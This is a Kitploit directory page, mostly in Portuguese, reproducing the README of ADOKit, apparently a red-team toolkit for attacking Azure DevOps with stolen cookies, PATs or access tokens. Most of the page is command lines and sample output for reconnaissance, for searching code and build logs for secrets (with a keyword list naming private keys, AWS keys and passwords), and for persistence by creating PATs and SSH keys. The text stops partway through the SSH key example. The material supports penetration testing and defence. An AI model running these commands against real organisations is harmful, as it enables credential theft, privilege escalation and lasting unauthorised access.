Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ADOKit — Kit de ataque modular que explora a API REST do Azure DevOps para reconhecimento, escalonamento de privilégios e persistência usando cookies ou PATs roubados. | Kitploit
Ferramentas/GitHubGitHub/h4wkst3r/adokit
Escalada de PrivilégiosReconhecimentoMecanismos de PersistênciaTestes de PenetraçãoSegurança na NuvemRed Teaming
GitHubh4wkst3r/adokit

ADOKit

Kit de ataque modular que explora a API REST do Azure DevOps para reconhecimento, escalonamento de privilégios e persistência usando cookies ou PATs roubados.

Ver Repositório
15564há 24 diasRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

ADOKit

Descrição

Azure DevOps Services Attack Toolkit - ADOKit é um kit de ferramentas que pode ser usado para atacar Azure DevOps Services aproveitando a API REST disponível. A ferramenta permite que o usuário especifique um módulo de ataque, juntamente com credenciais válidas (chave de API ou cookie de autenticação roubado) para a respectiva instância do Azure DevOps Services. Os módulos de ataque suportados incluem reconhecimento, elevação de privilégio e persistência. O ADOKit foi construído de forma modular, para que novos módulos possam ser adicionados no futuro pela comunidade de segurança da informação.

Detalhes completos sobre as técnicas usadas pelo ADOKit estão no whitepaper da X-Force Red.

Black Hat USA Arsenal 2024

Slides da apresentação e demonstrações estão incluídos na pasta BHUSA Arsenal 2024 neste repositório.

Lançamento

  • A versão 1.4.1 do ADOKit pode ser encontrada em Releases

Table of Contents

  • ADOKit
  • Table of Contents
  • Installation/Building
    • Libraries Used
    • Pre-Compiled
    • Building Yourself
  • Command Modules
  • Arguments/Options
  • Authentication Options
  • Module Details Table
  • Examples
    • Recon
      • Validate Azure DevOps Access
      • Whoami
      • List Orgs
      • List Repos
      • Search Repos
      • List Projects
      • Search Projects
      • Search Code
      • Search Files
      • List Users
      • Search User
      • List Teams
      • Search Team
      • Get Team Members
      • List Groups
      • Search Groups
      • Get Group Members
      • Get Project Permissions
      • Creds Search
      • Get Build Logs
      • List Build Logs
      • Search Build Logs
    • Persistence
      • Create PAT
      • List PATs
      • Remove PAT
      • Create SSH Key
      • List SSH Keys
      • Remove SSH Key
    • Privilege Escalation
      • Add Project Admin
      • Remove Project Admin
      • Add Build Admin
      • Remove Build Admin
      • Add Collection Admin
      • Remove Collection Admin
      • Add Collection Build Admin
      • Remove Collection Build Admin
      • Add Collection Build Service Account
      • Remove Collection Build Service Account
      • Add Collection Service Account
  • Detection
  • Roadmap
  • References

Installation/Building

Libraries Used

The below 3rd party libraries are used in this project.

LibraryURLLicense
Fodyhttps://github.com/Fody/FodyMIT License
Newtonsoft.Jsonhttps://github.com/JamesNK/Newtonsoft.JsonMIT License

Pre-Compiled

  • Use o binário pré-compilado na seção Releases

Building Yourself

Siga os passos abaixo para configurar o Visual Studio de modo a compilar o projeto você mesmo. Isso requer duas bibliotecas .NET que podem ser instaladas a partir do gerenciador de pacotes NuGet.

  • Carregue o projeto do Visual Studio e vá em "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Vá em "NuGet Package Manager" --> "Package Sources"
  • Adicione uma origem de pacote com a URL https://api.nuget.org/v3/index.json
  • Instale o pacote NuGet Costura.Fody.
    • Install-Package Costura.Fody -Version 3.3.3
  • Instale o pacote Newtonsoft.Json
    • Install-Package Newtonsoft.Json
  • Agora você pode compilar o projeto você mesmo!

Command Modules

  • Recon
    • check - Verifica se a organização usa Azure DevOps e se as credenciais são válidas
    • whoami - Lista o usuário atual e suas associações a grupos
    • listorgs - Lista organizações acessíveis ou todas as organizações no Azure DevOps
    • listrepo - Lista todos os repositórios
    • searchrepo - Busca por um repositório específico
    • listproject - Lista todos os projetos
    • searchproject - Busca por um projeto específico
    • searchcode - Busca por código contendo um termo de pesquisa
    • searchfile - Busca por arquivo com base em um termo de pesquisa
    • listuser - Lista usuários
    • searchuser - Busca por um usuário específico
    • listteam - Lista equipes
    • searchteam - Busca por uma equipe específica
    • getteammembers - Obtém os membros de uma equipe específica
    • listgroup - Lista grupos
    • searchgroup - Busca por um grupo específico
    • getgroupmembers - Lista todos os membros de um grupo específico
    • getpermissions - Obtém as permissões de quem tem acesso a um determinado projeto
    • creds - Busca por credenciais no código (palavras-chave listadas abaixo)
      • "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"
    • getbuildlogs - Baixa os logs de build de um ou de todos os projetos
    • listbuildlogs - Lista os logs de build de um ou de todos os projetos
    • searchbuildlogs - Busca nos logs de build por um termo de pesquisa específico
  • Persistence
    • - Cria um token de acesso pessoal para o usuário

Arguments/Options

  • /credential: - credencial para autenticação (PAT ou Cookie). Aplicável a todos os módulos.
  • /url: - URL do Azure DevOps. Aplicável a todos os módulos.
  • /search: - Palavra-chave para pesquisa. Não aplicável a todos os módulos.
  • /project: - Projeto para o qual realizar uma ação. Não aplicável a todos os módulos.
  • /user: - Realizar uma ação contra um usuário específico. Não aplicável a todos os módulos.
  • /id: - Usado com módulos de persistência para realizar uma ação contra um ID de token específico. Não aplicável a todos os módulos.
  • /group: - Realizar uma ação contra um grupo específico. Não aplicável a todos os módulos.

Authentication Options

Abaixo estão as opções de autenticação disponíveis no ADOKit ao autenticar em uma instância do Azure DevOps.

  • Stolen Cookie - UserAuthentication - Este será o cookie UserAuthentication na máquina de um usuário para o domínio .dev.azure.com.
    • /credential:UserAuthentication=ABC123
  • Stolen Cookie - AadAuthentication - Este será o cookie AadAuthentication na máquina de um usuário para o domínio .dev.azure.com.
    • /credential:eyJ0...
  • Personal Access Token (PAT) - Será um token de acesso / chave de API que é uma única string.
    • /credential:apiToken
  • Stolen Access Token - Se você conseguir roubar ou renovar um token de acesso adequado, também pode utilizá-lo. Ao usar um token de acesso, ele deve ser válido para o recurso do Azure Resource Manager (ARM) - "aud":"https://management.core.windows.net/" ou Azure DevOps - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
    • /credential:eyJ0..

Module Details Table

A tabela abaixo mostra as permissões necessárias para cada módulo.

Examples

Validate Azure DevOps Access

Use Case

Realiza uma verificação de autenticação para garantir que a organização está usando Azure DevOps e que as credenciais fornecidas são válidas.

Syntax

Forneça o módulo check, juntamente com as informações de autenticação relevantes e a URL. Isso informará se a organização fornecida está usando Azure DevOps e, em caso positivo, tentará validar as credenciais fornecidas.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output```

C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM

[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

root@kitploit:~
### Whoami

#### Caso de Uso

> *Obter o usuário atual e as associações de grupo do usuário*

#### Sintaxe

Forneça o módulo `whoami`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o usuário atual e todas as suas associações de grupo.

`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module:         whoami
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                          jsmith |                                        John Smith |          [email protected]


[*] INFO: Listing group memberships for the current user


                                                             Group UPN |                                       Display Name |                                        Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    [YourOrganization]\Project Collection Test Service Accounts |           Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
                                           [TestProject2]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                                           [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [YourOrganization]\Project Collection Administrators |                  Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

Listar Organizações

Caso de Uso

Recuperar organizações usando um token de acesso fornecido.

Sintaxe

Forneça ao módulo listorgs as informações de autenticação necessárias. Por padrão, este comando lista apenas as organizações acessíveis com o token de acesso fornecido.

  • Use /mode:aad para enumerar todas as organizações DevOps dentro do locatário do Azure AD, independentemente do acesso direto.
  • Use /endpoint:ENDPOINT_NAME para especificar um endpoint AEX personalizado.
    • Pontos de extremidade adicionais podem ser identificados inspecionando o cookie "X-VSS-DeploymentAffinity" de aex.dev.azure.com.

ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]

ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21

Exemplo de Saída```

C:>ADOKit.exe listorgs /credential:"eyj0..."

================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com

Timestamp: 3/14/2025 2:26:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                     Organization ID |                        Organization Name

root@kitploit:~
390a7474-e2f2-4b98-b538-4a547fa9f5e3 |                             solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e |                             lunar-devops
root@kitploit:~
### Listar Repositórios

#### Caso de Uso

> *Descubra repositórios sendo usados em uma instância do Azure DevOps*

#### Sintaxe

Forneça o módulo `listrepo`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome e a URL do repositório.

`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listrepo
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |                                                URL
-----------------------------------------------------------------------------------
                  TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
                  MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
                 SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
                   AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
      ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
                   TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Search Repos

Use Case

Pesquise por repositórios pelo nome do repositório na instância do Azure DevOps

Syntax

Forneça o módulo searchrepo e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com as informações de autenticação e URL relevantes. Isso exibirá o nome do repositório e a URL correspondentes.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Example Output```

C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |                                                URL

root@kitploit:~
              TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
               TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

root@kitploit:~
### Listar Projetos

#### Caso de Uso

> *Descubra projetos sendo usados na instância do Azure DevOps*

#### Sintaxe

Forneça o módulo `listproject`, juntamente com as informações de autenticação relevantes e a URL. Isso irá exibir o nome do projeto, visibilidade (público ou privado) e URL.

`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listproject
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                          Name |      Visibility |                                                URL
-----------------------------------------------------------------------------------------------------
                  TestProject2 |         private | https://dev.azure.com/YourOrganization/TestProject2
                  MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap
      ProjectWithMultipleRepos |         private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
                   TestProject |         private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Pesquisar Projetos

Caso de Uso

Pesquise por projetos pelo nome do projeto na instância do Azure DevOps

Sintaxe

Forneça o módulo searchproject e seus critérios de pesquisa no argumento da linha de comando /search:, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o nome do projeto correspondente, visibilidade (público ou privado) e URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Exemplo de Saída```

C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                      Name |      Visibility |                                                URL

root@kitploit:~
              MaraudersMap |         private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

root@kitploit:~
### Pesquisar Código

#### Caso de Uso

> *Pesquisar por código que contenha uma palavra-chave específica na instância Azure DevOps*

#### Sintaxe

Forneça o módulo `searchcode` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação relevantes e URL. Isso exibirá a URL do arquivo de código correspondente, juntamente com a linha do código que correspondeu.

`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`

`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`

#### Exemplo de Saída```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module:         searchcode
Auth Type:      Cookie
Search Term:    password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchcode

Pesquisar Arquivos

Caso de Uso

Pesquisar arquivos em repositórios que contenham uma palavra-chave no nome do arquivo no Azure DevOps

Sintaxe

Forneça o módulo searchfile e os seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isto irá gerar o URL para o ficheiro correspondente no seu respetivo repositório.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Exemplo de Saída```

C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                                                        File URL

https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

root@kitploit:~
### Pesquisa de Credenciais

#### Caso de Uso

> *Pesquise por código contendo segredos como senhas ou chaves de API no Azure DevOps*

#### Sintaxe

Forneça o módulo `creds`, junto com qualquer informação de autenticação relevante e URL. Isso irá exibir a URL do arquivo correspondente em seu respectivo repositório, e a(s) linha(s) correspondente(s) onde as credenciais estão presentes.

`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         creds
Auth Type:      Cookie
Search Term:    pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/30/2023 10:17:49 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ Console.WriteLine("PassWord");
    |_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
    |_ API_KEY=ABC123

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
    |_ Console.WriteLine("PaSsWoRd");

[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
    |_ Password: ItIsSuperSecret!

[*] Match count : 5

3/30/23 14:17:54 Finished execution of creds

Obter Logs de Build

Caso de Uso

Baixe os logs de todas as execuções de pipeline (logs de build). Você pode então pesquisar offline por informações e/ou segredos.

Sintaxe

Forneça o módulo getbuildlogs junto com /project: para um projeto específico para baixar todos os logs de build desse projeto. Se desejar baixá-los para todos os projetos, especifique all no argumento /project:. Isso criará uma pasta ADOKit-[random 8 chars] no seu diretório de trabalho atual para baixar os logs.

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"

Exemplo de Saída```

C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 8:15:27 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ

[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ

root@kitploit:~
### Listar Logs de Build

#### Caso de Uso

> *Listar os logs de build disponíveis para um determinado projeto ou todos os projetos.*

#### Sintaxe

Forneça o módulo `listbuildlogs` junto com um `/project:` para um determinado projeto para listar todos os logs de build desse projeto. Se desejar listá-los para todos os projetos, especifique `all` no argumento `/project:`.

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`

#### Exemplo de Saída```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2

==================================================
Module:         listbuildlogs
Auth Type:      API Key
Project:        TestProject2
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 8:14:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

  Build ID |                     Build Name |   Num Logs |                                                URL
-------------------------------------------------------------------------------------------------------------
        94 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
        92 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
        64 |                   TestProject2 |         10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64

Pesquisar Logs de Build

Caso de Uso

Pesquisar logs de build contendo uma determinada palavra-chave na instância do Azure DevOps

Sintaxe

Forneça o módulo searchbuildlogs e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com um /project: para um determinado projeto a fim de pesquisar todos os logs de build desse projeto. Se desejar pesquisar logs de build para todos os projetos, especifique all no argumento /project:. Isso exibirá a URL do arquivo de log de build correspondente, juntamente com a linha no log de build que correspondeu.

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"

ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

Exemplo de Saída```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### Criar PAT

#### Caso de Uso

> *Crie um token de acesso pessoal (PAT) para um utilizador que possa ser usado para persistência numa instância do Azure DevOps.*

#### Sintaxe

Forneça o módulo `createpat`, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o ID do PAT, nome, âmbito, data de validade e o conteúdo do token do PAT criado. O nome do PAT criado será `ADOKit-` seguido por uma string aleatória de 8 caracteres. A data de validade do PAT será 1 ano a partir da data de criação, pois esse é o máximo que o Azure DevOps permite.

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Exemplo de Saída```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

Listar PATs

Caso de Uso

Listar todos os tokens de acesso pessoal (PAT's) para um determinado usuário em uma instância do Azure DevOps.

Sintaxe

Forneça o módulo listpat, juntamente com quaisquer informações de autenticação relevantes e URL. Isso produzirá o ID do PAT, nome, escopo e data de validade para todos os PAT's ativos do usuário.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Exemplo de Saída```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### Remover PAT

#### Caso de Uso

> *Remove um PAT para um determinado usuário em uma instância do Azure DevOps.*

#### Sintaxe

Forneça o módulo `removepat`, juntamente com quaisquer informações de autenticação relevantes e URL. Além disso, forneça o ID do PAT no argumento `/id:`. Isso irá exibir se o PAT foi removido ou não, e então listará os PATs ativos atuais para o usuário após realizar a remoção.

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### Exemplo de Saída```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Criar Chave SSH

Caso de Uso

Criar uma chave SSH para um utilizador que possa ser usada para persistência numa instância do Azure DevOps.

Sintaxe

Forneça o módulo createsshkey, juntamente com qualquer informação de autenticação relevante e URL. Além disso, forneça a sua chave pública SSH no argumento /sshkey:. Isto irá gerar o ID da chave SSH, nome, âmbito, data de validade e os últimos 20 caracteres da chave pública SSH para a chave SSH criada. O nome da chave SSH criada será ADOKit- seguido por uma string aleatória de 8 caracteres. A data de validade da chave SSH será 1 ano a partir da data de criação, já que é o máximo que o Azure DevOps permite.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Exemplo de Saída

createsshkey``` C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

